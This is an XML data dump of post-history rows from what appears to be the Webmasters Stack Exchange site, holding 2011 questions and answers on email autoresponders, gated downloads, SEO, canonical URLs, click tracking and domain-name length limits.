  <row Id="40685" PostHistoryTypeId="2" PostId="16974" RevisionGUID="5ab0255f-852d-4fe3-8c93-495efde98567" CreationDate="2011-07-16T18:08:58.090" UserId="7198" Text="One simple way to provide a file if the user supplies their email address would be to use [MailChimp,](http://mailchimp.com) or a similar email newsletter service with an autoresponder feature.&#xD;&#xA;&#xD;&#xA;Using MailChimp, you could:&#xD;&#xA;&#xD;&#xA;1. Set up an [email signup form](http://kb.mailchimp.com/article/how-do-i-create-my-signup-form/) to capture email addresses and other data.&#xD;&#xA;2. Set up an [autoresponder](http://kb.mailchimp.com/article/how-do-i-create-an-autoresponder/) that sends them a link to the download by email.&#xD;&#xA;&#xD;&#xA;As soon as the person signs up and confirms their email address, the autoresponder would send them an email containing whatever text you want, which might simply be a link to the download hosted somewhere on your server.&#xD;&#xA;&#xD;&#xA;If you want to track who downloaded the file, you could enable MailChimp's [tracking links](http://kb.mailchimp.com/article/tracking-clicks-in-plain-text-emails/) in your emails.&#xD;&#xA;&#xD;&#xA;The advantages of using this set up over a scripted alternative with PHP are:&#xD;&#xA;&#xD;&#xA;1. You force the user to confirm their email address (by clicking a link in their email) before allowing them to download the product, which prevents them from using a fake address.&#xD;&#xA;2. You're building a mailing list of people to market to in the future.&#xD;&#xA;&#xD;&#xA;The disadvantage of doing it this way is:&#xD;&#xA;&#xD;&#xA;1. You have to make the download publicly accessible. You can use a [robots.txt file](http://www.robotstxt.org/robotstxt.html) to prevent Google picking up the PDF/downloadable item when crawling and adding it to its search results, but the file will still be accessible publicly for anyone who guesses the URL (so make it hard to guess), and the link will be shareable.&#xD;&#xA;&#xD;&#xA;If you've read this and don't think MailChimp is what you're looking for, I would recommend that you use the e-junkie electronic download service. They have a feature called [Free Checkout](http://www.e-junkie.com/ej/free-checkout.htm) that allows you to offer downloadable goods for free in return for supplying a name and email address. The links they provide to your product expire after a fixed time or certain number of download attempts, so they can't be spread around and reused." />
  <row Id="40686" PostHistoryTypeId="5" PostId="16974" RevisionGUID="253fca6e-79ec-425e-a6a7-e2e7158161a4" CreationDate="2011-07-16T18:30:49.337" UserId="7198" Comment="added 71 characters in body" Text="One simple way to provide a file if the user supplies their email address would be to use [MailChimp,](http://mailchimp.com) or a similar email newsletter service with an autoresponder feature.&#xD;&#xA;&#xD;&#xA;Using MailChimp, you could:&#xD;&#xA;&#xD;&#xA;1. Set up an [email signup form](http://kb.mailchimp.com/article/how-do-i-create-my-signup-form/) to capture email addresses and other data.&#xD;&#xA;2. Set up an [autoresponder](http://kb.mailchimp.com/article/how-do-i-create-an-autoresponder/) that sends them a link to the download by email.&#xD;&#xA;&#xD;&#xA;As soon as the person signs up and confirms their email address, the autoresponder would send them an email containing whatever text you want, which might simply be a link to the download hosted somewhere on your server.&#xD;&#xA;&#xD;&#xA;If you want to track who downloaded the file, you could enable MailChimp's [tracking links](http://kb.mailchimp.com/article/tracking-clicks-in-plain-text-emails/) in your emails.&#xD;&#xA;&#xD;&#xA;The advantages of using this set up over a scripted alternative with PHP are:&#xD;&#xA;&#xD;&#xA;1. You force the user to confirm their email address (by clicking a link in their email) before allowing them to download the product, which prevents them from using a fake address.&#xD;&#xA;2. You're building a mailing list of people to market to in the future.&#xD;&#xA;&#xD;&#xA;The disadvantages of doing it this way are:&#xD;&#xA;&#xD;&#xA;1. You have to make the download publicly accessible. You can use a [robots.txt file](http://www.robotstxt.org/robotstxt.html) to prevent Google picking up the PDF/downloadable item when crawling and adding it to its search results, but the file will still be accessible publicly for anyone who guesses the URL (so make it hard to guess), and the link will be shareable.&#xD;&#xA;2. It doesn't scale so well for sites with multiple free downloads.&#xD;&#xA;&#xD;&#xA;If you've read this and don't think MailChimp is what you're looking for, I would recommend that you use the e-junkie electronic download service. They have a feature called [Free Checkout](http://www.e-junkie.com/ej/free-checkout.htm) that allows you to offer downloadable goods for free in return for supplying a name and email address. The links they provide to your product expire after a fixed time or certain number of download attempts, so they can't be spread around and reused." />
  <row Id="40687" PostHistoryTypeId="25" PostId="16971" RevisionGUID="464765e9-b8ce-4855-864f-566fec4cc7e3" CreationDate="2011-07-16T18:31:44.300" Comment="http://twitter.com/#!/StackWebmasters/status/92300396487393281" />
  <row Id="40688" PostHistoryTypeId="2" PostId="16975" RevisionGUID="1883b5f7-5dfa-479d-bf58-a0a1249ad4bd" CreationDate="2011-07-16T19:05:06.330" UserId="9006" Text="So far the Magento module method of doing this is using Fooman Speedster. It merges and minifies your Javascript and CSS fils, typically merging everything into two JS files and two CSS files. I've had issues using Magento's built-in JS/CSS merge so I abandoned it for the module. The developer keeps it up to date and it works with versions 1.2 though 1.5. Free.&#xD;&#xA;&#xD;&#xA;http://www.magentocommerce.com/magento-connect/FOOMAN/extension/457/fooman-speedster" />
  <row Id="40689" PostHistoryTypeId="2" PostId="16976" RevisionGUID="2e4d1f45-87b4-409b-a71d-26492c975363" CreationDate="2011-07-16T19:06:25.047" UserId="8950" Text="BuddyPress (BuddyPress.org) is a great addon for Wordpress which allows for multiple blogs.&#xD;&#xA;&#xD;&#xA;Wordpress alone also provides excellent access controls so that guest posters can post to a main blog without full access." />
  <row Id="40691" PostHistoryTypeId="4" PostId="5543" RevisionGUID="4f871dba-e0ab-40bf-b80e-7c3e28cf6167" CreationDate="2011-07-16T19:57:29.387" UserId="1240" Comment="Added a tag and fixed some spelling." Text="Javascript to stream video files" />
  <row Id="40692" PostHistoryTypeId="6" PostId="5543" RevisionGUID="4f871dba-e0ab-40bf-b80e-7c3e28cf6167" CreationDate="2011-07-16T19:57:29.387" UserId="1240" Comment="Added a tag and fixed some spelling." Text="&lt;javascript&gt;&lt;video&gt;" />
  <row Id="40693" PostHistoryTypeId="24" PostId="5543" RevisionGUID="4f871dba-e0ab-40bf-b80e-7c3e28cf6167" CreationDate="2011-07-16T19:57:29.387" Comment="Proposed by 1240 approved by 1064 edit id of 440" />
  <row Id="40694" PostHistoryTypeId="2" PostId="16977" RevisionGUID="69380cb9-442f-414b-b098-386a8e403de5" CreationDate="2011-07-16T20:12:17.830" UserId="4033" Text="The easiest way would be to link the file name to a form (or a dropdown in the form). Once you know the filename you can ask the user what you want. And when the user submits the form. Your PHP (or perl, phtyon) script will save the info and email to whomever you want then serve the file.&#xD;&#xA;&#xD;&#xA;This way you don't even need to expose the files to public until you want to serve it." />
  <row Id="40695" PostHistoryTypeId="5" PostId="16966" RevisionGUID="de89cbb1-e32e-4ae5-9b62-0f9e6e78d23c" CreationDate="2011-07-16T20:57:08.070" UserId="4465" Comment="added 94 characters in body" Text="I was writing on a blog (source blog) which all users can publish their articles. But now this blog will be closed. SO i want to move my articles to my personal blog. But I'm worrying about Google Sandbox.&#xD;&#xA;&#xD;&#xA;Can i move my articles to my personal blog without any SEO mistake ?&#xD;&#xA;&#xD;&#xA;(NOTE : I'm not owner of source blog so i can't do a 301 Forwarding etc.)" />
  <row Id="40696" PostHistoryTypeId="2" PostId="16978" RevisionGUID="0e3884c7-5dfe-4a43-bac5-98eb5cb7cc56" CreationDate="2011-07-16T21:31:44.290" UserId="8950" Text="If you aren't the blog owner, you don't really have many options since when you file a transfer notice with Google or another major search engine, they'll require you to be the owner of the domain in order for you to file any notice.&#xD;&#xA;&#xD;&#xA;Depending on what host you have now, you might be able to register a domain and point it to your articles and then have that domain redirected to your new website.&#xD;&#xA;&#xD;&#xA;Aside from that exporting your articles and adding them to your new site (ideally identically along with the same timestamps from when the posts were added) would at least help in that Google will have content to index on the new site vs. just having it see a fresh install with one or two posts." />
  <row Id="40697" PostHistoryTypeId="25" PostId="16966" RevisionGUID="3450ece6-3e8e-45de-9378-2352c8294e79" CreationDate="2011-07-16T21:31:45.360" Comment="http://twitter.com/#!/StackWebmasters/status/92345697688485889" />
  <row Id="40699" PostHistoryTypeId="25" PostId="16898" RevisionGUID="80539a6f-1db1-4c0a-882e-aee6a552aede" CreationDate="2011-07-17T00:31:45.753" Comment="http://twitter.com/#!/StackWebmasters/status/92390995798405120" />
  <row Id="40700" PostHistoryTypeId="2" PostId="16980" RevisionGUID="7dd3eba4-f736-48a2-b7c5-19286cbfaf37" CreationDate="2011-07-17T01:24:45.983" UserId="9147" Text="The question is when I searched (in google) my researched keyword phrase (3 words) in google with quotes, it bring out about 145,000,000 results.&#xD;&#xA;&#xD;&#xA;The competition is 0.01&#xD;&#xA;&#xD;&#xA;Monthly global searches is 3,68,000&#xD;&#xA;&#xD;&#xA;Monthly local searches is 4400&#xD;&#xA;&#xD;&#xA;I have used match type as **&quot;phrase&quot;** in google keyword tool.&#xD;&#xA;&#xD;&#xA;I just want to know whether the keyword phrase is **good for domain name** with respect to search results and Monthly global and local searches as given above.&#xD;&#xA;&#xD;&#xA;Thanks :)" />
  <row Id="40701" PostHistoryTypeId="1" PostId="16980" RevisionGUID="7dd3eba4-f736-48a2-b7c5-19286cbfaf37" CreationDate="2011-07-17T01:24:45.983" UserId="9147" Text="Relation between number of google search results from a phrase for a domain." />
  <row Id="40702" PostHistoryTypeId="3" PostId="16980" RevisionGUID="7dd3eba4-f736-48a2-b7c5-19286cbfaf37" CreationDate="2011-07-17T01:24:45.983" UserId="9147" Text="&lt;seo&gt;&lt;google&gt;&lt;domains&gt;&lt;google-webmaster-tools&gt;&lt;google-search&gt;" />
  <row Id="40703" PostHistoryTypeId="2" PostId="16981" RevisionGUID="19278a9a-36fd-417a-94a8-91a437e12457" CreationDate="2011-07-17T02:48:01.167" UserId="9009" Text="I made some changes recently to my website that were substantial.&#xD;&#xA;&#xD;&#xA;My page rank for my business's name is now #1.&#xD;&#xA;&#xD;&#xA;However, Google shows wrong information in the search results, as do Bing and Yahoo.&#xD;&#xA;&#xD;&#xA;So how long?" />
  <row Id="40704" PostHistoryTypeId="1" PostId="16981" RevisionGUID="19278a9a-36fd-417a-94a8-91a437e12457" CreationDate="2011-07-17T02:48:01.167" UserId="9009" Text="How long does it take Google, Yahoo or Bing to reindex my website?" />
  <row Id="40705" PostHistoryTypeId="3" PostId="16981" RevisionGUID="19278a9a-36fd-417a-94a8-91a437e12457" CreationDate="2011-07-17T02:48:01.167" UserId="9009" Text="&lt;google&gt;&lt;yahoo&gt;&lt;bing&gt;" />
  <row Id="40706" PostHistoryTypeId="2" PostId="16982" RevisionGUID="0638826e-aedf-4b3d-8947-3df97b7d76d6" CreationDate="2011-07-17T02:52:44.143" UserId="9009" Text="I've read a lot of information on this topic and domain name is almost never used for page rank anymore.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="40707" PostHistoryTypeId="2" PostId="16983" RevisionGUID="9f21b1ca-749e-4913-bcdf-1130c20447e7" CreationDate="2011-07-17T02:58:19.770" UserId="8957" Text="I know it's anywhere between a day and 6 weeks usually. &#xD;&#xA;The exact time depends on your history with google (i'm not all that familiar with bing (with also gives yahoo results)). If your site changed often in the past google will reindex relatively quickly, if google didn't see any changes in the past 76 years it won't reindex very fast.&#xD;&#xA;my own site was reindexed by google after about a week after submitting the sitemap to google." />
  <row Id="40708" PostHistoryTypeId="25" PostId="16894" RevisionGUID="a2d02212-5f1e-4aef-80b1-998237e9f6e7" CreationDate="2011-07-17T03:31:46.833" Comment="http://twitter.com/#!/StackWebmasters/status/92436297133731841" />
  <row Id="40709" PostHistoryTypeId="25" PostId="16818" RevisionGUID="bce1a5ff-a5d6-4e0c-9947-61ea0ddf0504" CreationDate="2011-07-17T06:31:45.687" Comment="http://twitter.com/#!/StackWebmasters/status/92481595499491328" />
  <row Id="40710" PostHistoryTypeId="2" PostId="16984" RevisionGUID="8e09c500-cad1-4752-9690-8292809a430b" CreationDate="2011-07-17T06:46:06.460" UserId="9010" Text="How would one optimize a flash website that consists primarily of images and video and has minimal text (i.e. only navigation), without changing the visual design of the site?&#xD;&#xA;&#xD;&#xA;If one were to use the object tag to provide a non-flash version of the site which used text to describe the images / videos seen in the flash version, that may be considered cloaking by Google. Is there a good way to add search engine friendly keywords to such a flash based multimedia website without risking cloaking related penalties?" />
  <row Id="40711" PostHistoryTypeId="1" PostId="16984" RevisionGUID="8e09c500-cad1-4752-9690-8292809a430b" CreationDate="2011-07-17T06:46:06.460" UserId="9010" Text="SEO for multimedia site with little text" />
  <row Id="40712" PostHistoryTypeId="3" PostId="16984" RevisionGUID="8e09c500-cad1-4752-9690-8292809a430b" CreationDate="2011-07-17T06:46:06.460" UserId="9010" Text="&lt;images&gt;&lt;flash&gt;&lt;text&gt;&lt;cloaking&gt;" />
  <row Id="40713" PostHistoryTypeId="2" PostId="16985" RevisionGUID="4180d985-b8db-4cda-98bb-80162bb842e7" CreationDate="2011-07-17T07:33:56.737" UserId="8957" Text="I would just make sure you have a good sitemap that includes all of the videos and images, which is going to be the main optimization. when that is done you can add alt tags for the images and (i believe) videos. I would just make a good headline/like 1 sentence of text for the videos, that kinda describes it. I wouldn't go so far as to summarize the whole thing." />
  <row Id="40714" PostHistoryTypeId="2" PostId="16986" RevisionGUID="8eab0ff2-dc5b-45ea-9122-823723c76c44" CreationDate="2011-07-17T07:35:06.047" UserId="9011" Text="Please suggest me Google web font similar to following image,&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/cEsfc.png" />
  <row Id="40715" PostHistoryTypeId="1" PostId="16986" RevisionGUID="8eab0ff2-dc5b-45ea-9122-823723c76c44" CreationDate="2011-07-17T07:35:06.047" UserId="9011" Text="Google web font" />
  <row Id="40716" PostHistoryTypeId="3" PostId="16986" RevisionGUID="8eab0ff2-dc5b-45ea-9122-823723c76c44" CreationDate="2011-07-17T07:35:06.047" UserId="9011" Text="&lt;google&gt;&lt;css&gt;&lt;web&gt;&lt;fonts&gt;" />
  <row Id="40717" PostHistoryTypeId="2" PostId="16987" RevisionGUID="79fc2521-3b33-4f3c-87b7-b447c58473a7" CreationDate="2011-07-17T09:00:46.807" UserId="5731" Text="Hi I've 3 sites with my adsense account. &#xD;&#xA;&#xD;&#xA; - [Koolbusiness.com][1] (google app engine app)&#xD;&#xA; - [Montao.com.br][2] (google app engine app)&#xD;&#xA; -  [Alwayssewing.com][3] (drupal hosting)&#xD;&#xA;&#xD;&#xA;  [1]: http://www.koolbusiness.com&#xD;&#xA;  [2]: http://www.montao.com.br&#xD;&#xA;  [3]: http://www.alwayssewing.com&#xD;&#xA;&#xD;&#xA;Can you give any creative ideas how I can improve my adsense performance?&#xD;&#xA;Thank you&#xD;&#xA;" />
  <row Id="40718" PostHistoryTypeId="1" PostId="16987" RevisionGUID="79fc2521-3b33-4f3c-87b7-b447c58473a7" CreationDate="2011-07-17T09:00:46.807" UserId="5731" Text="How to improve my adsense usage" />
  <row Id="40719" PostHistoryTypeId="3" PostId="16987" RevisionGUID="79fc2521-3b33-4f3c-87b7-b447c58473a7" CreationDate="2011-07-17T09:00:46.807" UserId="5731" Text="&lt;web-development&gt;&lt;websites&gt;&lt;google-adsense&gt;&lt;google-apps&gt;" />
  <row Id="40720" PostHistoryTypeId="25" PostId="16923" RevisionGUID="8c81e19d-8904-474c-8194-5febd6b413b1" CreationDate="2011-07-17T09:31:45.580" Comment="http://twitter.com/#!/StackWebmasters/status/92526894167236608" />
  <row Id="40721" PostHistoryTypeId="17" PostId="16988" RevisionGUID="b3b8b4b8-54af-4131-8321-20bec329b66d" CreationDate="2011-07-17T09:38:51.150" UserId="-1" Comment="from http://stackoverflow.com/questions/6715649/product-in-multiple-categories-duplicate-content-problem" Text="" />
  <row Id="40722" PostHistoryTypeId="2" PostId="16989" RevisionGUID="a30f8aeb-0e4c-4d60-9b5e-d4a76deb86c2" CreationDate="2011-07-16T09:59:36.170" UserId="8354" Text="You need to use `&lt;link rel=&quot;canonical&quot; href=&quot;YOUR_URL&quot; /&gt;` to tell Google and other search engines what is the most ideal URL for this content.&#xD;&#xA;&#xD;&#xA;Official docs:&#xD;&#xA;&#xD;&#xA;- http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html&#xD;&#xA;- http://www.google.com/support/webmasters/bin/answer.py?answer=139394&#xD;&#xA;&#xD;&#xA;Similar questions:&#xD;&#xA;&#xD;&#xA;- [How to use rel='canonical' properly](http://webmasters.stackexchange.com/questions/848/how-to-use-rel-canonical-properly)&#xD;&#xA;- [Using rel=canonical with syndication](http://webmasters.stackexchange.com/questions/3658/using-rel-canonical-with-syndication)&#xD;&#xA;- and many more: http://webmasters.stackexchange.com/search?q=canonical" />
  <row Id="40723" PostHistoryTypeId="2" PostId="16988" RevisionGUID="54465c7c-c5c0-4d55-8b7a-233a0e5d71e4" CreationDate="2011-07-16T05:53:56.723" UserDisplayName="user813720" Text="What is the best practice to display a product that may be in several categories without producing duplicate content as far as search engines are concerned?&#xD;&#xA;&#xD;&#xA;In the past I have used a default category for each product so only one url is ever displayed for each product, but this is not a nice user experience if for example a product is listed in: maincategory A, subcategory B and also maincategory B, subcategory D and the user navigates through B &gt; D to the product and the page url is displayed as website/A/B/product - the user may have lost the subcategory they came from initially.&#xD;&#xA;&#xD;&#xA;Is it really necessary to remove the duplicate url for SER purposes? Or will the SE pick the most appropriate one to list?" />
  <row Id="40724" PostHistoryTypeId="1" PostId="16988" RevisionGUID="54465c7c-c5c0-4d55-8b7a-233a0e5d71e4" CreationDate="2011-07-16T05:53:56.723" UserDisplayName="user813720" Text="product in multiple categories - duplicate content problem." />
  <row Id="40725" PostHistoryTypeId="3" PostId="16988" RevisionGUID="54465c7c-c5c0-4d55-8b7a-233a0e5d71e4" CreationDate="2011-07-16T05:53:56.723" UserDisplayName="user813720" Text="&lt;htaccess&gt;&lt;url&gt;&lt;seo&gt;&lt;ecommerce&gt;" />
  <row Id="40726" PostHistoryTypeId="17" PostId="16989" RevisionGUID="e127bdc5-c497-4f32-b87f-4e75ffd6a013" CreationDate="2011-07-17T09:38:51.150" UserId="-1" Comment="from http://stackoverflow.com/questions/6715649/product-in-multiple-categories-duplicate-content-problem" Text="" />
  <row Id="40727" PostHistoryTypeId="2" PostId="16990" RevisionGUID="a1556a48-89ee-4954-856e-44879e538015" CreationDate="2011-07-17T10:08:01.467" UserId="4157" Text="we are looking for a mail system with the ability to know it a client has visited the link.&#xD;&#xA;&#xD;&#xA;Our idea is to prepare a mail for a certain group of customers, on that mail we will include a url to our proposal/video/whatsoever . We would like to acknowledge if the customer has clicked the link. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Is that possible?&#xD;&#xA;&#xD;&#xA;thanks.&#xD;&#xA;" />
  <row Id="40728" PostHistoryTypeId="1" PostId="16990" RevisionGUID="a1556a48-89ee-4954-856e-44879e538015" CreationDate="2011-07-17T10:08:01.467" UserId="4157" Text="Looking for a mailing system with the ability to send unique URL to each address/customer" />
  <row Id="40729" PostHistoryTypeId="3" PostId="16990" RevisionGUID="a1556a48-89ee-4954-856e-44879e538015" CreationDate="2011-07-17T10:08:01.467" UserId="4157" Text="&lt;url&gt;&lt;email&gt;&lt;email-address&gt;" />
  <row Id="40730" PostHistoryTypeId="2" PostId="16991" RevisionGUID="b0c76ddd-ef37-4621-abca-1df537369f5a" CreationDate="2011-07-17T10:31:42.257" UserId="2490" Text="I am using [Arvixe][1] (they call it personal class asp). It has asp.net 4 on win 2008 server, and php extensions installed, also ms-sql and MySql. Service is good, prices are fair.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.arvixe.com/1042-3.html" />
  <row Id="40731" PostHistoryTypeId="2" PostId="16992" RevisionGUID="818bdf28-7da7-4f23-b052-106cc1d65fc8" CreationDate="2011-07-17T10:43:43.530" UserId="4502" Text="Pretty much all the major hosted options can do this. Take your pick:  &#xD;&#xA;&lt;a href=&quot;http://kb.mailchimp.com/article/how-do-i-track-clicks-and-opens/&quot;&gt;MailChimp&lt;/a&gt;  &#xD;&#xA;&lt;a href=&quot;http://www.aweber.com/faq/questions/323/What+is+Click+Tracking%3F&quot;&gt;AWeber&lt;/a&gt;  &#xD;&#xA;&lt;a href=&quot;http://www.constantcontact.com/email-marketing/email-tracking-reporting/index.jsp&quot;&gt;Constant Contact&lt;/a&gt;  &#xD;&#xA;Campaign Monitor just does it automatically for all links, instead providing instructions on &lt;a href=&quot;http://help.campaignmonitor.com/topic.aspx?t=83&quot;&gt;turning it off&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;I also know that the self-installed &lt;a href=&quot;http://docs.phplist.com/MessageTracking&quot;&gt;PHPList&lt;/a&gt; can do it.&#xD;&#xA;" />
  <row Id="40732" PostHistoryTypeId="4" PostId="16990" RevisionGUID="5a590380-0bb3-446e-9c80-ca5f40fcefaa" CreationDate="2011-07-17T10:46:12.927" UserId="4502" Comment="Fixed title. Original over-described the desired feature and ended up obscuring it instead." Text="Looking for a mailing list system with click tracking capability " />
  <row Id="40737" PostHistoryTypeId="5" PostId="16992" RevisionGUID="4416463b-f898-4463-804e-8bda00287a0a" CreationDate="2011-07-17T11:13:15.413" UserId="4502" Comment="added 34 characters in body" Text="Pretty much all the major hosted options can do this. Take your pick(these all point at documentation):  &#xD;&#xA;&lt;a href=&quot;http://kb.mailchimp.com/article/how-do-i-track-clicks-and-opens/&quot;&gt;MailChimp&lt;/a&gt;  &#xD;&#xA;&lt;a href=&quot;http://www.aweber.com/faq/questions/323/What+is+Click+Tracking%3F&quot;&gt;AWeber&lt;/a&gt;  &#xD;&#xA;&lt;a href=&quot;http://www.constantcontact.com/email-marketing/email-tracking-reporting/index.jsp&quot;&gt;Constant Contact&lt;/a&gt;  &#xD;&#xA;Campaign Monitor just does it automatically for all links, instead providing instructions on &lt;a href=&quot;http://help.campaignmonitor.com/topic.aspx?t=83&quot;&gt;turning it off&lt;/a&gt;.&#xD;&#xA;&#xD;&#xA;I also know that the self-installed &lt;a href=&quot;http://docs.phplist.com/MessageTracking&quot;&gt;PHPList&lt;/a&gt; can do it.&#xD;&#xA;" />
  <row Id="40738" PostHistoryTypeId="2" PostId="16994" RevisionGUID="f0002a93-080b-40a9-9a29-40d0e493a59f" CreationDate="2011-07-17T11:18:11.077" UserId="1240" Text="I clicked off all three sites within minutes because I could not grasp the purpose or point in any of them.  There seemed to be little in the way of content and nothing to keep the user on the site.&#xD;&#xA;&#xD;&#xA;I would work on content as a priority on them all, the more content you have the more Google has to go on when serving up ads.&#xD;&#xA;&#xD;&#xA;What traffic are you currently getting to the site? You could have the most streamlines methods for getting people to click ads possible but if you are only getting a handful of hits a day you will see little in the way of returns." />
  <row Id="40739" PostHistoryTypeId="5" PostId="16970" RevisionGUID="7236c013-6fb3-476d-86e0-df9cf323be80" CreationDate="2011-07-17T11:21:59.243" UserId="1240" Comment="Added more information based on comments." Text="So long as you can include some `301 moved permanently` markers on the old content it should be fine.&#xD;&#xA;&#xD;&#xA;**Edit**&#xD;&#xA;&#xD;&#xA;If you don't have access to do this yourself (as you have mentioned in comments) then I would suggest just taking a potential SEO hit and putting them on your site.  If possible get the original blog to put up a link to the new content (you might have editor access).  If they are unwilling to do anything at all there is little you can do." />
  <row Id="40741" PostHistoryTypeId="2" PostId="16995" RevisionGUID="e93b5bb6-fdf0-4e51-9668-455c7fd78487" CreationDate="2011-07-17T12:11:41.117" UserId="8263" Text="I'm looking for a tool which would be able to identify unused and/or duplicate css selectors and rules, with the following two restrictions:&#xD;&#xA;&#xD;&#xA;- The tool would have to be able to analyze css pages which are used for many HTML pages, so a tool like Dust-Me won't help. &#xD;&#xA;&#xD;&#xA;- The tool should also work on a local installation, because I'd also like to be able to check my css at development stage. This would rule out online css verifiers.&#xD;&#xA;&#xD;&#xA;Thanks very much in advance" />
  <row Id="40742" PostHistoryTypeId="1" PostId="16995" RevisionGUID="e93b5bb6-fdf0-4e51-9668-455c7fd78487" CreationDate="2011-07-17T12:11:41.117" UserId="8263" Text="How to identlfy unused css selectors and rules for css pages which cover multiple pages and are installed locally ?" />
  <row Id="40743" PostHistoryTypeId="3" PostId="16995" RevisionGUID="e93b5bb6-fdf0-4e51-9668-455c7fd78487" CreationDate="2011-07-17T12:11:41.117" UserId="8263" Text="&lt;css&gt;&lt;duplicate-content&gt;&lt;website-development&gt;" />
  <row Id="40744" PostHistoryTypeId="2" PostId="16996" RevisionGUID="cb51688a-689c-4e71-8db8-4e481e91d91c" CreationDate="2011-07-17T12:31:00.430" UserId="1429" Text="Out of curiosity, does anyone know what's the **maximum length (in characters) for a domain name?**&#xD;&#xA;&#xD;&#xA;Let's exclude the `http://www`.&#xD;&#xA;&#xD;&#xA;I know the [maximum length of an url is about 2000 chars][1]. But here I'm more ineterested in just the domain part or the url.&#xD;&#xA;&#xD;&#xA;On Wikipedia thye say: [&quot;The full domain name may not exceed a total length of 253 characters in its external dotted-label specification.&quot;][2]&#xD;&#xA;Buy what does it mean?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/417142/what-is-the-maximum-length-of-a-url&#xD;&#xA;  [2]: http://en.wikipedia.org/wiki/Domain_Name_System#Domain_name_syntax" />
  <row Id="40745" PostHistoryTypeId="1" PostId="16996" RevisionGUID="cb51688a-689c-4e71-8db8-4e481e91d91c" CreationDate="2011-07-17T12:31:00.430" UserId="1429" Text="Maximun domain name length" />
  <row Id="40746" PostHistoryTypeId="3" PostId="16996" RevisionGUID="cb51688a-689c-4e71-8db8-4e481e91d91c" CreationDate="2011-07-17T12:31:00.430" UserId="1429" Text="&lt;domain-names&gt;&lt;domains&gt;&lt;length&gt;" />
  <row Id="40747" PostHistoryTypeId="25" PostId="16990" RevisionGUID="a512cc8e-4792-42fd-8c78-fa9595405a6b" CreationDate="2011-07-17T12:31:45.833" Comment="http://twitter.com/#!/StackWebmasters/status/92572194055536642" />
  <row Id="40748" PostHistoryTypeId="2" PostId="16997" RevisionGUID="6981a220-ce26-499c-8cda-33b9d28f2481" CreationDate="2011-07-17T12:58:11.007" UserId="8354" Text="1. **253 characters** is the maximum length of **full domain name**, including dots: e.g. `www.example.com` = 15 characters.&#xD;&#xA;&#xD;&#xA;2. **63 characters** in the maximum length of a **&quot;label&quot;** (part of domain name separated by dot). Labels for `www.example.com` are `com`, `example` and `www`.&#xD;&#xA;&#xD;&#xA;This is the example of the domain with longest possible label (a fully working website BTW): `http://www.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijk.com/`. The domain name length = 71 characters.&#xD;&#xA;&#xD;&#xA;This will be an example of longest domain name: `abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcde.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijk.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijk.abcdefghijklmnopqrstuvwxyzabcdefghijklmnopqrstuvwxyzabcdefghijk.com`" />
  <row Id="40749" PostHistoryTypeId="2" PostId="16998" RevisionGUID="34d71d63-ba3c-49e0-8921-dadf6bee1b13" CreationDate="2011-07-17T13:07:41.017" UserId="1429" Text="Before creating emails that might only frustrate the current customers and the new potential ones, [take a look at this article][1].&#xD;&#xA;&#xD;&#xA;From a customer point of view, (coming from my personal experience) I find quite frustrating whenever I need to ask something to one of my vendor to be forced to think at what mail address I should send my issue.&#xD;&#xA;&#xD;&#xA;In other words, if your order wasn't processed by the vendor, but you already paied for it, do you complain to&#xD;&#xA;&#xD;&#xA; - order@vendor.com&#xD;&#xA; - or to payment@vendor.com&#xD;&#xA; - or to invoices@vendor.com&#xD;&#xA; - or to info@vendor.com&#xD;&#xA;&#xD;&#xA;**Don't you think it's quite confusing?**&#xD;&#xA;&#xD;&#xA;As a customer I would like to complain always to info@vendor.com and the vendor should take care to dispatch my message to the right place, not me!&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://blog.asmartbear.com/one-email.html" />
  <row Id="40750" PostHistoryTypeId="5" PostId="16941" RevisionGUID="b49a2a5c-4659-45a9-9808-0bd7f0bd7305" CreationDate="2011-07-17T13:40:14.747" UserId="5806" Comment="added 555 characters in body; edited tags" Text="There has been a significant drop (40%) in traffic from Google to one of my well-established sites (6+ years) in the last four days. So I did searches for my top keywords as I do weekly and found that the top-3 had all dropped 2 places from last week (one of them now last spot on page #1). Needless to say I feel panic starting :(&#xD;&#xA;&#xD;&#xA;There has been no major changes during this period or the last month on the site and certainly not in the homepage which has dropped rank. There has been new content added weekly or so, as it has for the last years. I am aware there are [200 factors for ranking][1] but the question is **what are steps to figure out what caused the drop?** If it is my fault? Or, someone else's fault?&#xD;&#xA;&#xD;&#xA;Over all the years of running this site and plenty of others, I have never experienced this. There are no duplicate content on my site and I have rigorously used canonical links for the last few years to ensure it is not misinterpreted as such.&#xD;&#xA;&#xD;&#xA;**EDIT**&#xD;&#xA;&#xD;&#xA;Seems like we are in a free-fall. For our top keywords there was another 2-4 spot drop between yesterday and today. For secondary keywords, we have no results showing in the first 10 PAGES while previously being on the first 90% of the time.&#xD;&#xA;&#xD;&#xA;Searching for very specific article titles, we do not appear at all in results but there are some tiny blogs (not affiliated) or two in the results which points to our article. **In sum, we are almost entire out of the index it seems. Could this be a penalty of some kind? How can I find out?**&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/11327/googles-200-ranking-factors" />
  <row Id="40751" PostHistoryTypeId="6" PostId="16941" RevisionGUID="b49a2a5c-4659-45a9-9808-0bd7f0bd7305" CreationDate="2011-07-17T13:40:14.747" UserId="5806" Comment="added 555 characters in body; edited tags" Text="&lt;seo&gt;&lt;google&gt;&lt;ranking&gt;&lt;penalty&gt;" />
